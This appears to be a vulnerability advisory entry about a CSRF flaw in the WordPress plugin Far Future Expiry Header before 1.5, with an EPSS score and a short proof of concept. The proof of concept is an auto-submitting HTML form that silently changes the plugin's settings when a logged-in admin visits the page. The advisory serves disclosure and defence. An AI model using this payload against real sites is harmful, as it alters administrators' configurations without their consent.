Far Future Expiry Header < 1.5 - Plugin's Settings Update via CSRF

2021-10-0400:00:00

apple502j

313

0.001 Low

EPSS

Percentile

27.4%

JSON

The plugin does not have CSRF check when saving its settings, which could allow attackers to make a logged in admin change them via a CSRF attack.

<form action="https://example.com/wp-admin/options-general.php?page=ffe_plugin_options" method="post" id="csrf">
<input type="hidden" name="enable-ffe" value="on">
<input type="hidden" name="num-expiry-days" value="1">
<input type="hidden" name="ffe-png" value="on">
<input type="hidden" name="ffe_save_settings" value="1">
</form><script>csrf.submit()</script>

0.001 Low

EPSS

Percentile

27.4%

JSON

Related for WPEX-ID:6010CE4E-3E46-4CC1-96D8-560B30B605ED